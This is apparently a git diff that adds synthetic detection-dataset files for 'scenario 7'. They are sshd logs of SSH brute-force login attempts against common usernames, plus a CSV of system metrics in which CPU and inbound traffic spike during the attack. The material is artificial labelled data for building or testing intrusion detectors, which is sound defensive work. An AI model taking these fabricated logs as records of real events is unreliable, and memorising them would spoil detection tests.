Failed password for invalid user test from 188.166.219.45 port 41165 ssh2 +Aug 15 10:05:51 auth-server sshd[2003]: Failed password for invalid user test from 104.248.156.91 port 65113 ssh2 +Aug 15 10:05:51 auth-server sshd[2003]: Failed password for invalid user user from 206.189.87.213 port 63891 ssh2 +Aug 15 10:05:53 auth-server sshd[2003]: Failed password for invalid user test from 188.166.219.45 port 45618 ssh2 +Aug 15 10:05:55 auth-server sshd[2003]: Failed password for root from 198.199.101.55 port 54187 ssh2 +Aug 15 10:05:55 auth-server sshd[2003]: Failed password for invalid user ubnt from 198.199.101.55 port 64248 ssh2 +Aug 15 10:05:57 auth-server sshd[2003]: Failed password for invalid user test from 206.189.87.213 port 48566 ssh2 +Aug 15 10:05:58 auth-server sshd[2003]: Failed password for invalid user support from 188.166.219.45 port 51302 ssh2 +Aug 15 10:05:59 auth-server sshd[2003]: Failed password for invalid user user from 198.199.101.55 port 64580 ssh2 +Aug 15 10:05:59 auth-server sshd[2003]: Failed password for invalid user support from 188.166.219.45 port 53055 ssh2 +Aug 15 10:06:00 auth-server sshd[2003]: Failed password for invalid user root from 188.166.219.45 port 32070 ssh2 +Aug 15 10:06:00 auth-server sshd[2003]: Failed password for invalid user ubnt from 206.189.87.213 port 10462 ssh2 +Aug 15 10:06:03 auth-server sshd[2003]: Failed password for root from 206.189.87.213 port 19421 ssh2 +Aug 15 10:06:03 auth-server sshd[2003]: Failed password for user from 188.166.219.45 port 24760 ssh2 +Aug 15 10:06:03 auth-server sshd[2003]: Failed password for user from 206.189.87.213 port 32853 ssh2 +Aug 15 10:06:04 auth-server sshd[2003]: Failed password for invalid user oracle from 104.248.156.91 port 19053 ssh2 +Aug 15 10:06:04 auth-server sshd[2003]: Failed password for invalid user user from 198.199.101.55 port 61249 ssh2 +Aug 15 10:06:05 auth-server sshd[2003]: Failed password for invalid user user from 206.189.87.213 port 28275 ssh2 +Aug 15 10:06:08 auth-server sshd[2003]: Failed password for invalid user ubnt from 188.166.219.45 port 61916 ssh2 +Aug 15 10:06:08 auth-server sshd[2003]: Failed password for invalid user user from 206.189.87.213 port 62651 ssh2 +Aug 15 10:06:10 auth-server sshd[2003]: Failed password for invalid user oracle from 198.199.101.55 port 22116 ssh2 +Aug 15 10:06:11 auth-server sshd[2003]: Failed password for invalid user guest from 198.199.101.55 port 22023 ssh2 +Aug 15 10:06:12 auth-server sshd[2003]: Failed password for invalid user test from 206.189.87.213 port 42621 ssh2 +Aug 15 10:06:12 auth-server sshd[2003]: Failed password for invalid user user from 198.199.101.55 port 55136 ssh2 +Aug 15 10:06:13 auth-server sshd[2003]: Failed password for invalid user oracle from 188.166.219.45 port 60592 ssh2 +Aug 15 10:06:14 auth-server sshd[2003]: Failed password for invalid user ubnt from 104.248.156.91 port 65337 ssh2 +Aug 15 10:06:15 auth-server systemd[1]: Starting daily clean up activities... +Aug 15 10:06:15 auth-server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:06:16 auth-server sshd[2003]: Failed password for invalid user root from 104.248.156.91 port 32091 ssh2 +Aug 15 10:06:16 auth-server sshd[2003]: Failed password for invalid user support from 198.199.101.55 port 54403 ssh2 +Aug 15 10:06:16 auth-server sshd[2003]: Failed password for invalid user guest from 206.189.87.213 port 31177 ssh2 +Aug 15 10:06:16 auth-server sshd[2003]: Failed password for root from 206.189.87.213 port 44391 ssh2 +Aug 15 10:06:17 auth-server sshd[2003]: Failed password for invalid user user from 198.199.101.55 port 61027 ssh2 +Aug 15 10:06:18 auth-server sshd[2003]: Failed password for invalid user oracle from 104.248.156.91 port 52856 ssh2 +Aug 15 10:06:20 auth-server sshd[2003]: Failed password for invalid user support from 188.166.219.45 port 20658 ssh2 +Aug 15 10:06:20 auth-server sshd[2003]: Failed password for user from 206.189.87.213 port 48193 ssh2 +Aug 15 10:06:20 auth-server sshd[2003]: Failed password for invalid user ubnt from 198.199.101.55 port 55135 ssh2 +Aug 15 10:06:21 auth-server sshd[2003]: Failed password for invalid user support from 188.166.219.45 port 15549 ssh2 +Aug 15 10:06:22 auth-server sshd[2003]: Failed password for invalid user support from 104.248.156.91 port 29570 ssh2 +Aug 15 10:06:22 auth-server sshd[2003]: Failed password for invalid user test from 188.166.219.45 port 35941 ssh2 +Aug 15 10:06:24 auth-server sshd[2003]: Failed password for invalid user test from 104.248.156.91 port 37887 ssh2 +Aug 15 10:06:25 auth-server sshd[2003]: Failed password for invalid user guest from 188.166.219.45 port 50768 ssh2 +Aug 15 10:06:26 auth-server sshd[2003]: Failed password for root from 104.248.156.91 port 45518 ssh2 +Aug 15 10:06:26 auth-server sshd[2003]: Failed password for invalid user guest from 206.189.87.213 port 63563 ssh2 +Aug 15 10:06:27 auth-server sshd[2003]: Failed password for invalid user admin from 198.199.101.55 port 44884 ssh2 +Aug 15 10:06:29 auth-server sshd[2003]: Failed password for invalid user test from 206.189.87.213 port 16930 ssh2 +Aug 15 10:06:29 auth-server sshd[2003]: Failed password for invalid user guest from 104.248.156.91 port 58877 ssh2 +Aug 15 10:06:29 auth-server sshd[2003]: Failed password for invalid user ubnt from 198.199.101.55 port 10171 ssh2 +Aug 15 10:06:32 auth-server sshd[2003]: Failed password for invalid user test from 188.166.219.45 port 46967 ssh2 +Aug 15 10:06:33 auth-server sshd[2003]: Failed password for invalid user ubnt from 188.166.219.45 port 18736 ssh2 +Aug 15 10:06:33 auth-server sshd[2003]: Failed password for invalid user root from 104.248.156.91 port 61870 ssh2 +Aug 15 10:06:33 auth-server sshd[2003]: Failed password for invalid user test from 198.199.101.55 port 18431 ssh2 +Aug 15 10:06:34 auth-server sshd[2003]: Failed password for invalid user root from 198.199.101.55 port 33360 ssh2 +Aug 15 10:06:36 auth-server sshd[2003]: Failed password for invalid user user from 206.189.87.213 port 56608 ssh2 +Aug 15 10:06:38 auth-server sshd[2003]: Failed password for admin from 104.248.156.91 port 25409 ssh2 +Aug 15 10:06:39 auth-server sshd[2003]: Failed password for invalid user user from 104.248.156.91 port 62198 ssh2 +Aug 15 10:06:39 auth-server sshd[2003]: Failed password for invalid user root from 188.166.219.45 port 61537 ssh2 +Aug 15 10:06:40 auth-server sshd[2003]: Accepted password for realuser from 10.0.1.5 port 54321 ssh2 +Aug 15 10:07:20 auth-server sshd[2003]: Accepted password for realuser from 10.0.1.5 port 54321 ssh2 diff --git a/mali_dataset/scenario_7/mali_7_11.csv b/mali_dataset/scenario_7/mali_7_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..8020aed91e6e2c7b0fec6c1537f917cedf530fe9 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T10:00:00Z,12.68,44.96,8.74,1.17,0.53 +2025-08-26T10:00:05Z,18.31,39.27,6.96,0.6,0.58 +2025-08-26T10:00:10Z,10.73,36.56,13.33,1.49,0.61 +2025-08-26T10:00:15Z,18.42,37.97,12.04,0.63,1.08 +2025-08-26T10:00:20Z,10.72,35.36,6.33,0.66,1.46 +2025-08-26T10:00:25Z,11.75,41.63,6.88,0.75,1.15 +2025-08-26T10:00:30Z,19.58,38.5,14.2,0.62,1.5 +2025-08-26T10:00:35Z,15.6,36.81,9.49,0.72,1.09 +2025-08-26T10:00:40Z,10.74,36.65,10.89,1.27,0.8 +2025-08-26T10:00:45Z,18.01,40.55,7.15,0.85,0.65 +2025-08-26T10:00:50Z,13.83,40.24,6.94,1.01,0.98 +2025-08-26T10:00:55Z,13.84,39.73,5.57,0.53,0.62 +2025-08-26T10:01:00Z,10.68,41.1,12.81,1.09,0.94 +2025-08-26T10:01:05Z,14.14,39.37,6.29,1.25,0.7 +2025-08-26T10:01:10Z,18.84,40.96,10.38,0.86,0.78 +2025-08-26T10:01:15Z,19.05,44.05,14.1,1.17,1.18 +2025-08-26T10:01:20Z,11.7,35.11,10.35,1.11,0.54 +2025-08-26T10:01:25Z,11.87,38.23,5.79,0.94,1.45 +2025-08-26T10:01:30Z,15.89,37.19,8.48,1.12,1.44 +2025-08-26T10:01:35Z,19.82,42.94,12.02,0.7,1.12 +2025-08-26T10:01:40Z,91.57,43.72,12.22,14.71,0.8 +2025-08-26T10:01:45Z,93.81,43.82,8.23,11.99,0.6 +2025-08-26T10:01:50Z,87.16,44.67,12.22,16.54,0.96 +2025-08-26T10:01:55Z,86.95,37.29,5.15,13.33,1.19 +2025-08-26T10:02:00Z,89.21,41.85,9.4,11.92,0.97 +2025-08-26T10:02:05Z,86.43,42.43,12.48,16.91,1.43 +2025-08-26T10:02:10Z,90.26,40.87,5.54,18.17,1.3 +2025-08-26T10:02:15Z,83.05,41.59,5.61,12.02,0.86 +2025-08-26T10:02:20Z,82.38,42.83,6.97,15.34,1.35 +2025-08-26T10:02:25Z,93.57,35.01,7.53,17.14,0.67 +2025-08-26T10:02:30Z,82.63,38.04,6.89,13.61,0.76 +2025-08-26T10:02:35Z,92.54,42.6,11.94,15.38,1.25 +2025-08-26T10:02:40Z,81.78,39.0,9.17,11.31,0.63 +2025-08-26T10:02:45Z,94.37,44.54,14.63,13.08,0.96 +2025-08-26T10:02:50Z,86.68,40.73,13.24,15.25,1.35 +2025-08-26T10:02:55Z,85.73,38.31,8.34,12.05,0.91 +2025-08-26T10:03:00Z,87.14,36.34,8.58,16.56,1.31 +2025-08-26T10:03:05Z,86.73,38.67,8.44,15.35,0.84 +2025-08-26T10:03:10Z,86.49,41.34,14.91,13.83,0.88 +2025-08-26T10:03:15Z,84.35,40.2,9.0,18.92,0.6 +2025-08-26T10:03:20Z,90.28,41.81,13.96,9.94,1.43 +2025-08-26T10:03:25Z,85.63,39.79,14.49,9.84,0.89 +2025-08-26T10:03:30Z,87.12,38.28,14.12,18.31,1.29 +2025-08-26T10:03:35Z,88.36,36.68,14.54,17.02,1.22 +2025-08-26T10:03:40Z,94.98,41.73,6.19,15.08,0.56 +2025-08-26T10:03:45Z,83.16,35.68,13.31,17.62,1.01 +2025-08-26T10:03:50Z,86.89,35.5,11.75,12.26,0.59 +2025-08-26T10:03:55Z,81.76,37.66,11.35,12.54,0.76 +2025-08-26T10:04:00Z,80.17,43.81,5.73,19.24,0.98 +2025-08-26T10:04:05Z,81.89,41.44,11.62,12.69,1.18 +2025-08-26T10:04:10Z,89.27,42.98,12.95,17.11,0.96 +2025-08-26T10:04:15Z,91.55,37.68,13.85,8.0,1.48 +2025-08-26T10:04:20Z,90.25,35.47,9.73,14.7,0.75 +2025-08-26T10:04:25Z,85.58,36.72,9.12,16.23,1.03 +2025-08-26T10:04:30Z,86.53,38.0,6.02,12.77,1.04 +2025-08-26T10:04:35Z,94.33,37.31,5.26,10.36,0.52 +2025-08-26T10:04:40Z,88.66,40.03,10.21,9.38,0.74 +2025-08-26T10:04:45Z,93.55,42.78,11.52,13.08,1.15 +2025-08-26T10:04:50Z,81.17,40.5,11.27,15.8,0.63 +2025-08-26T10:04:55Z,94.6,43.48,6.67,12.24,1.24 +2025-08-26T10:05:00Z,86.22,42.1,9.24,17.54,0.75 +2025-08-26T10:05:05Z,94.64,39.42,6.58,12.55,1.27 +2025-08-26T10:05:10Z,85.18,38.76,11.08,16.76,0.78 +2025-08-26T10:05:15Z,91.34,44.92,6.19,18.42,0.53 +2025-08-26T10:05:20Z,82.63,39.95,9.62,13.5,0.97 +2025-08-26T10:05:25Z,91.91,35.83,6.33,13.68,0.52 +2025-08-26T10:05:30Z,84.68,43.37,13.69,13.55,0.78 +2025-08-26T10:05:35Z,83.01,41.51,8.0,10.05,0.61 +2025-08-26T10:05:40Z,91.88,42.74,11.08,10.4,1.34 +2025-08-26T10:05:45Z,84.64,41.42,5.5,14.28,1.44 +2025-08-26T10:05:50Z,80.53,44.49,10.52,19.65,1.19 +2025-08-26T10:05:55Z,91.65,37.89,7.04,15.99,0.76 +2025-08-26T10:06:00Z,94.15,40.74,9.22,15.26,0.63 +2025-08-26T10:06:05Z,82.38,41.36,6.0,9.78,0.59 +2025-08-26T10:06:10Z,89.63,43.53,7.91,15.48,1.03 +2025-08-26T10:06:15Z,84.13,43.34,11.46,18.35,1.2 +2025-08-26T10:06:20Z,87.79,39.21,14.46,9.29,0.51 +2025-08-26T10:06:25Z,87.36,40.54,10.05,8.13,0.69 +2025-08-26T10:06:30Z,88.1,37.86,6.41,12.61,1.0 +2025-08-26T10:06:35Z,90.24,40.72,10.51,18.45,1.36 +2025-08-26T10:06:40Z,16.51,44.94,7.93,0.53,1.35 +2025-08-26T10:06:45Z,11.32,39.16,5.75,0.75,0.75 +2025-08-26T10:06:50Z,14.18,43.51,7.9,0.95,0.68 +2025-08-26T10:06:55Z,11.03,44.58,8.14,0.72,1.1 +2025-08-26T10:07:00Z,18.67,42.25,8.5,1.31,1.28 +2025-08-26T10:07:05Z,14.68,42.44,11.44,1.48,0.85 +2025-08-26T10:07:10Z,13.89,39.01,10.39,1.22,0.91 +2025-08-26T10:07:15Z,16.27,37.91,12.86,1.07,1.08 +2025-08-26T10:07:20Z,14.85,37.64,13.33,0.72,0.96 +2025-08-26T10:07:25Z,14.26,37.79,7.55,1.17,0.79 diff --git a/mali_dataset/scenario_7/mali_7_11.log b/mali_dataset/scenario_7/mali_7_11.log new file mode 100644 index 0000000000000000000000000000000000000000..855be811186d3a6bf788521c5f0a2234ede4bcab --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_11.log @@ -0,0 +1,176 @@ +Aug 26 10:00:00 server systemd[1]: Starting daily clean up activities... +Aug 26 10:00:50 server systemd[1]: Starting daily clean up activities... +Aug 26 10:01:15 server sshd[1010]: Accepted password for legitimate_user from 10.0.1.5 port 51234 ssh2 +Aug 26 10:01:38 server sshd[14432]: Failed password for admin from 203.0.113.1 port 17606 ssh2 +Aug 26 10:01:39 server sshd[11234]: Invalid user admin from 192.0.2.25 port 63740 ssh2 +Aug 26 10:01:42 server sshd[11761]: Invalid user ubnt from 203.0.113.1 port 30767 ssh2 +Aug 26 10:01:45 server sshd[11250]: Invalid user test from 198.51.100.42 port 27501 ssh2 +Aug 26 10:01:47 server sshd[11206]: Invalid user guest from 192.0.2.25 port 36202 ssh2 +Aug 26 10:01:48 server sshd[12347]: Invalid user admin from 203.0.113.118 port 48620 ssh2 +Aug 26 10:01:48 server sshd[13417]: Failed password for root from 203.0.113.1 port 27738 ssh2 +Aug 26 10:01:48 server sshd[13478]: Failed password for guest from 203.0.113.118 port 37416 ssh2 +Aug 26 10:01:53 server sshd[13303]: Invalid user admin from 192.0.2.25 port 33957 ssh2 +Aug 26 10:01:55 server sshd[12002]: Invalid user guest from 198.51.100.42 port 58466 ssh2 +Aug 26 10:01:55 server sshd[14553]: Failed password for test from 198.51.100.42 port 19864 ssh2 +Aug 26 10:01:58 server sshd[12263]: Failed password for test from 203.0.113.1 port 23906 ssh2 +Aug 26 10:01:59 server sshd[12199]: Failed password for oracle from 192.0.2.25 port 58061 ssh2 +Aug 26 10:01:59 server sshd[14443]: Invalid user ubnt from 203.0.113.118 port 44920 ssh2 +Aug 26 10:02:04 server sshd[12734]: Failed password for test from 203.0.113.1 port 19323 ssh2 +Aug 26 10:02:05 server sshd[12476]: Failed password for oracle from 192.0.2.25 port 64295 ssh2 +Aug 26 10:02:07 server sshd[13858]: Invalid user root from 192.0.2.25 port 20247 ssh2 +Aug 26 10:02:10 server sshd[11138]: Invalid user guest from 203.0.113.118 port 55387 ssh2 +Aug 26 10:02:12 server sshd[11265]: Failed password for root from 203.0.113.118 port 63147 ssh2 +Aug 26 10:02:13 server sshd[14174]: Failed password for guest from 203.0.113.118 port 31070 ssh2 +Aug 26 10:02:15 server sshd[11805]: Failed password for oracle from 192.0.2.25 port 56186 ssh2 +Aug 26 10:02:17 server sshd[13639]: Failed password for admin from 203.0.113.118 port 16666 ssh2 +Aug 26 10:02:18 server sshd[13131]: Invalid user ubnt from 198.51.100.42 port 25069 ssh2 +Aug 26 10:02:23 server sshd[13479]: Failed password for test from 203.0.113.1 port 57521 ssh2 +Aug 26 10:02:23 server sshd[13799]: Failed password for test from 203.0.113.118 port 40893 ssh2 +Aug 26 10:02:23 server sshd[14702]: Failed password for test from 192.0.2.25 port 29999 ssh2 +Aug 26 10:02:24 server sshd[14182]: Failed password for user from 203.0.113.118 port 60739 ssh2 +Aug 26 10:02:27 server sshd[14789]: Failed password for test from 192.0.2.25 port 30312 ssh2 +Aug 26 10:02:28 server sshd[13716]: Failed password for admin from 203.0.113.118 port 28027 ssh2 +Aug 26 10:02:32 server sshd[12585]: Invalid user ubnt from 203.0.113.118 port 57678 ssh2 +Aug 26 10:02:33 server sshd[11871]: Failed password for test from 203.0.113.118 port 26415 ssh2 +Aug 26 10:02:33 server sshd[12267]: Invalid user oracle from 203.0.113.118 port 15529 ssh2 +Aug 26 10:02:35 server sshd[11571]: Failed password for test from 192.0.2.25 port 53530 ssh2 +Aug 26 10:02:38 server sshd[11740]: Failed password for user from 198.51.100.42 port 65003 ssh2 +Aug 26 10:02:38 server sshd[12811]: Invalid user root from 203.0.113.1 port 60677 ssh2 +Aug 26 10:02:39 server sshd[12099]: Failed password for test from 198.51.100.42 port 33163 ssh2 +Aug 26 10:02:42 server sshd[13877]: Failed password for oracle from 203.0.113.118 port 56855 ssh2 +Aug 26 10:02:44 server sshd[12051]: Invalid user guest from 203.0.113.118 port 26434 ssh2 +Aug 26 10:02:45 server sshd[11599]: Invalid user user from 192.0.2.25 port 23793 ssh2 +Aug 26 10:02:45 server sshd[13047]: Invalid user test from 192.0.2.25 port 42903 ssh2 +Aug 26 10:02:47 server sshd[12101]: Invalid user oracle from 192.0.2.25 port 28162 ssh2 +Aug 26 10:02:47 server sshd[13573]: Invalid user oracle from 192.0.2.25 port 11396 ssh2 +Aug 26 10:02:48 server sshd[11850]: Failed password for root from 203.0.113.1 port 63146 ssh2 +Aug 26 10:02:50 server sshd[11620]: Failed password for guest from 198.51.100.42 port 29035 ssh2 +Aug 26 10:02:52 server sshd[11951]: Failed password for root from 192.0.2.25 port 60688 ssh2 +Aug 26 10:02:55 server sshd[14718]: Failed password for root from 192.0.2.25 port 50357 ssh2 +Aug 26 10:02:57 server sshd[11262]: Failed password for test from 203.0.113.1 port 17338 ssh2 +Aug 26 10:02:59 server sshd[13998]: Invalid user test from 198.51.100.42 port 13456 ssh2 +Aug 26 10:03:00 server sshd[12038]: Invalid user oracle from 203.0.113.1 port 10467 ssh2 +Aug 26 10:03:02 server sshd[14467]: Invalid user test from 203.0.113.118 port 37550 ssh2 +Aug 26 10:03:02 server sshd[14511]: Failed password for guest from 192.0.2.25 port 63876 ssh2 +Aug 26 10:03:07 server sshd[12309]: Failed password for root from 198.51.100.42 port 11191 ssh2 +Aug 26 10:03:09 server sshd[12126]: Failed password for user from 192.0.2.25 port 25750 ssh2 +Aug 26 10:03:10 server sshd[13932]: Failed password for guest from 198.51.100.42 port 15840 ssh2 +Aug 26 10:03:12 server sshd[13394]: Failed password for oracle from 203.0.113.118 port 58844 ssh2 +Aug 26 10:03:14 server sshd[11305]: Invalid user admin from 203.0.113.118 port 24212 ssh2 +Aug 26 10:03:14 server sshd[12030]: Failed password for guest from 192.0.2.25 port 30477 ssh2 +Aug 26 10:03:14 server sshd[14803]: Failed password for test from 203.0.113.118 port 30625 ssh2 +Aug 26 10:03:18 server sshd[13192]: Invalid user admin from 198.51.100.42 port 55956 ssh2 +Aug 26 10:03:18 server sshd[14221]: Failed password for user from 203.0.113.118 port 30641 ssh2 +Aug 26 10:03:20 server sshd[12772]: Failed password for root from 203.0.113.1 port 22950 ssh2 +Aug 26 10:03:20 server sshd[14592]: Failed password for ubnt from 203.0.113.118 port 54911 ssh2 +Aug 26 10:03:23 server sshd[12346]: Failed password for user from 203.0.113.118 port 54210 ssh2 +Aug 26 10:03:25 server sshd[14394]: Invalid user root from 198.51.100.42 port 18210 ssh2 +Aug 26 10:03:27 server sshd[11599]: Failed password for user from 192.0.2.25 port 35026 ssh2 +Aug 26 10:03:30 server sshd[11062]: Failed password for guest from 192.0.2.25 port 47508 ssh2 +Aug 26 10:03:35 server sshd[12531]: Failed password for guest from 203.0.113.1 port 30731 ssh2 +Aug 26 10:03:35 server sshd[14984]: Failed password for admin from 203.0.113.118 port 36048 ssh2 +Aug 26 10:03:37 server sshd[14211]: Invalid user admin from 198.51.100.42 port 42727 ssh2 +Aug 26 10:03:39 server sshd[13010]: Failed password for root from 192.0.2.25 port 32138 ssh2 +Aug 26 10:03:39 server sshd[14621]: Failed password for user from 203.0.113.1 port 34599 ssh2 +Aug 26 10:03:43 server sshd[12763]: Invalid user user from 198.51.100.42 port 36440 ssh2 +Aug 26 10:03:43 server sshd[14581]: Invalid user admin from 203.0.113.118 port 54904 ssh2 +Aug 26 10:03:45 server sshd[11440]: Failed password for oracle from 203.0.113.1 port 55654 ssh2 +Aug 26 10:03:47 server sshd[11237]: Failed password for admin from 203.0.113.1 port 59691 ssh2 +Aug 26 10:03:47 server sshd[11767]: Failed password for ubnt from 203.0.113.118 port 64647 ssh2 +Aug 26 10:03:49 server sshd[12154]: Failed password for admin from 198.51.100.42 port 12216 ssh2 +Aug 26 10:03:50 server sshd[12180]: Failed password for test from 192.0.2.25 port 58430 ssh2 +Aug 26 10:03:53 server sshd[11150]: Invalid user root from 198.51.100.42 port 18577 ssh2 +Aug 26 10:03:54 server sshd[13487]: Failed password for guest from 192.0.2.25 port 22006 ssh2 +Aug 26 10:03:57 server sshd[14295]: Failed password for user from 192.0.2.25 port 17399 ssh2 +Aug 26 10:03:58 server sshd[11743]: Failed password for ubnt from 198.51.100.42 port 62418 ssh2 +Aug 26 10:04:00 server sshd[12142]: Failed password for test from 192.0.2.25 port 39521 ssh2 +Aug 26 10:04:00 server sshd[12597]: Invalid user admin from 203.0.113.118 port 39994 ssh2 +Aug 26 10:04:04 server sshd[14815]: Invalid user guest from 203.0.113.118 port 25965 ssh2 +Aug 26 10:04:05 server sshd[11179]: Failed password for root from 203.0.113.118 port 13003 ssh2 +Aug 26 10:04:05 server sshd[11388]: Invalid user guest from 203.0.113.118 port 40639 ssh2 +Aug 26 10:04:05 server sshd[11434]: Failed password for oracle from 198.51.100.42 port 11779 ssh2 +Aug 26 10:04:07 server sshd[14183]: Failed password for ubnt from 203.0.113.1 port 46992 ssh2 +Aug 26 10:04:09 server sshd[12568]: Failed password for guest from 203.0.113.118 port 18781 ssh2 +Aug 26 10:04:12 server sshd[12902]: Failed password for test from 192.0.2.25 port 56172 ssh2 +Aug 26 10:04:14 server sshd[12397]: Failed password for ubnt from 203.0.113.1 port 27596 ssh2 +Aug 26 10:04:17 server sshd[13886]: Failed password for user from 203.0.113.118 port 13019 ssh2 +Aug 26 10:04:20 server sshd[13484]: Failed password for root from 192.0.2.25 port 38701 ssh2 +Aug 26 10:04:22 server sshd[14734]: Failed password for ubnt from 203.0.113.1 port 52531 ssh2 +Aug 26 10:04:25 server sshd[14217]: Failed password for root from 192.0.2.25 port 58126 ssh2 +Aug 26 10:04:27 server sshd[11626]: Failed password for oracle from 203.0.113.118 port 49818 ssh2 +Aug 26 10:04:30 server sshd[11706]: Invalid user user from 203.0.113.1 port 52080 ssh2 +Aug 26 10:04:30 server sshd[14150]: Failed password for ubnt from 203.0.113.118 port 30940 ssh2 +Aug 26 10:04:33 server sshd[13519]: Invalid user user from 198.51.100.42 port 49594 ssh2 +Aug 26 10:04:34 server sshd[13843]: Failed password for user from 192.0.2.25 port 60547 ssh2 +Aug 26 10:04:39 server sshd[14910]: Invalid user root from 203.0.113.118 port 39628 ssh2 +Aug 26 10:04:40 server sshd[11037]: Failed password for ubnt from 203.0.113.1 port 36608 ssh2 +Aug 26 10:04:42 server sshd[12492]: Failed password for admin from 198.51.100.42 port 59371 ssh2 +Aug 26 10:04:43 server sshd[13062]: Invalid user root from 198.51.100.42 port 29249 ssh2 +Aug 26 10:04:48 server sshd[14784]: Failed password for guest from 198.51.100.42 port 20521 ssh2 +Aug 26 10:04:50 server sshd[12393]: Failed password for guest from 192.0.2.25 port 21959 ssh2 +Aug 26 10:04:52 server sshd[12297]: Failed password for root from 203.0.113.1 port 45175 ssh2 +Aug 26 10:04:54 server sshd[11407]: Invalid user root from 203.0.113.118 port 33783 ssh2 +Aug 26 10:04:54 server sshd[13218]: Failed password for guest from 198.51.100.42 port 63013 ssh2 +Aug 26 10:04:54 server sshd[13370]: Failed password for guest from 203.0.113.1 port 16044 ssh2 +Aug 26 10:04:57 server sshd[13285]: Failed password for test from 192.0.2.25 port 55715 ssh2 +Aug 26 10:04:58 server sshd[11297]: Failed password for admin from 203.0.113.118 port 64148 ssh2 +Aug 26 10:04:59 server sshd[13629]: Invalid user ubnt from 192.0.2.25 port 12010 ssh2 +Aug 26 10:05:00 server sshd[13285]: Failed password for user from 192.0.2.25 port 56841 ssh2 +Aug 26 10:05:03 server sshd[12911]: Failed password for root from 198.51.100.42 port 29331 ssh2 +Aug 26 10:05:05 server sshd[12350]: Failed password for root from 203.0.113.118 port 21069 ssh2 +Aug 26 10:05:08 server sshd[11469]: Failed password for user from 192.0.2.25 port 38227 ssh2 +Aug 26 10:05:08 server sshd[12395]: Failed password for admin from 203.0.113.118 port 59322 ssh2 +Aug 26 10:05:09 server sshd[14781]: Failed password for guest from 203.0.113.118 port 26608 ssh2 +Aug 26 10:05:10 server sshd[14577]: Failed password for test from 192.0.2.25 port 62127 ssh2 +Aug 26 10:05:14 server sshd[11556]: Failed password for guest from 198.51.100.42 port 13494 ssh2 +Aug 26 10:05:14 server sshd[14788]: Failed password for guest from 198.51.100.42 port 55986 ssh2 +Aug 26 10:05:19 server sshd[14837]: Invalid user root from 203.0.113.1 port 41692 ssh2 +Aug 26 10:05:20 server sshd[11911]: Failed password for user from 203.0.113.1 port 40807 ssh2 +Aug 26 10:05:20 server sshd[12114]: Failed password for oracle from 192.0.2.25 port 53883 ssh2 +Aug 26 10:05:20 server sshd[12824]: Failed password for user from 192.0.2.25 port 57378 ssh2 +Aug 26 10:05:23 server sshd[13609]: Failed password for root from 203.0.113.118 port 30426 ssh2 +Aug 26 10:05:24 server sshd[12509]: Failed password for admin from 203.0.113.1 port 40677 ssh2 +Aug 26 10:05:25 server sshd[14442]: Failed password for guest from 203.0.113.118 port 23954 ssh2 +Aug 26 10:05:27 server sshd[11669]: Invalid user test from 203.0.113.1 port 21122 ssh2 +Aug 26 10:05:27 server sshd[13386]: Failed password for guest from 203.0.113.118 port 24667 ssh2 +Aug 26 10:05:28 server sshd[13292]: Invalid user guest from 203.0.113.118 port 31413 ssh2 +Aug 26 10:05:29 server sshd[13754]: Invalid user ubnt from 203.0.113.1 port 56925 ssh2 +Aug 26 10:05:32 server sshd[11769]: Failed password for user from 198.51.100.42 port 40591 ssh2 +Aug 26 10:05:32 server sshd[14320]: Failed password for root from 192.0.2.25 port 40781 ssh2 +Aug 26 10:05:38 server sshd[14437]: Failed password for ubnt from 203.0.113.118 port 39067 ssh2 +Aug 26 10:05:40 server sshd[14698]: Invalid user test from 203.0.113.1 port 49744 ssh2 +Aug 26 10:05:42 server sshd[11166]: Failed password for guest from 198.51.100.42 port 64426 ssh2 +Aug 26 10:05:42 server sshd[13013]: Invalid user test from 198.51.100.42 port 42405 ssh2 +Aug 26 10:05:45 server sshd[11276]: Failed password for admin from 203.0.113.118 port 44098 ssh2 +Aug 26 10:05:48 server sshd[14528]: Failed password for ubnt from 192.0.2.25 port 25006 ssh2 +Aug 26 10:05:49 server sshd[13013]: Failed password for user from 192.0.2.25 port 56782 ssh2 +Aug 26 10:05:50 server sshd[14618]: Failed password for test from 198.51.100.42 port 40787 ssh2 +Aug 26 10:05:52 server sshd[11032]: Failed password for ubnt from 198.51.100.42 port 47799 ssh2 +Aug 26 10:05:55 server sshd[14472]: Failed password for root from 203.0.113.1 port 48113 ssh2 +Aug 26 10:05:55 server sshd[14772]: Failed password for guest from 203.0.113.1 port 62339 ssh2 +Aug 26 10:05:57 server sshd[12822]: Failed password for ubnt from 198.51.100.42 port 41603 ssh2 +Aug 26 10:06:00 server sshd[11050]: Failed password for test from 192.0.2.25 port 38196 ssh2 +Aug 26 10:06:03 server sshd[13589]: Failed password for admin from 192.0.2.25 port 16299 ssh2 +Aug 26 10:06:03 server sshd[14824]: Invalid user root from 192.0.2.25 port 19698 ssh2 +Aug 26 10:06:05 server sshd[14175]: Failed password for test from 192.0.2.25 port 12774 ssh2 +Aug 26 10:06:07 server sshd[12153]: Invalid user ubnt from 203.0.113.118 port 53907 ssh2 +Aug 26 10:06:08 server sshd[14577]: Failed password for guest from 203.0.113.118 port 47471 ssh2 +Aug 26 10:06:09 server sshd[11006]: Invalid user oracle from 192.0.2.25 port 31645 ssh2 +Aug 26 10:06:09 server sshd[13410]: Invalid user admin from 192.0.2.25 port 17536 ssh2 +Aug 26 10:06:12 server sshd[13724]: Failed password for oracle from 192.0.2.25 port 38068 ssh2 +Aug 26 10:06:14 server sshd[13785]: Invalid user test from 198.51.100.42 port 48106 ssh2 +Aug 26 10:06:15 server sshd[14341]: Failed password for admin from 192.0.2.25 port 13955 ssh2 +Aug 26 10:06:17 server sshd[14543]: Invalid user guest from 198.51.100.42 port 23692 ssh2 +Aug 26 10:06:18 server sshd[13577]: Failed password for root from 192.0.2.25 port 50399 ssh2 +Aug 26 10:06:20 server sshd[14706]: Failed password for ubnt from 203.0.113.118 port 37507 ssh2 +Aug 26 10:06:23 server sshd[12696]: Invalid user root from 203.0.113.1 port 31275 ssh2 +Aug 26 10:06:23 server sshd[14253]: Failed password for admin from 198.51.100.42 port 22906 ssh2 +Aug 26 10:06:24 server sshd[13755]: Invalid user ubnt from 203.0.113.1 port 19777 ssh2 +Aug 26 10:06:25 server sshd[11513]: Failed password for user from 203.0.113.118 port 33482 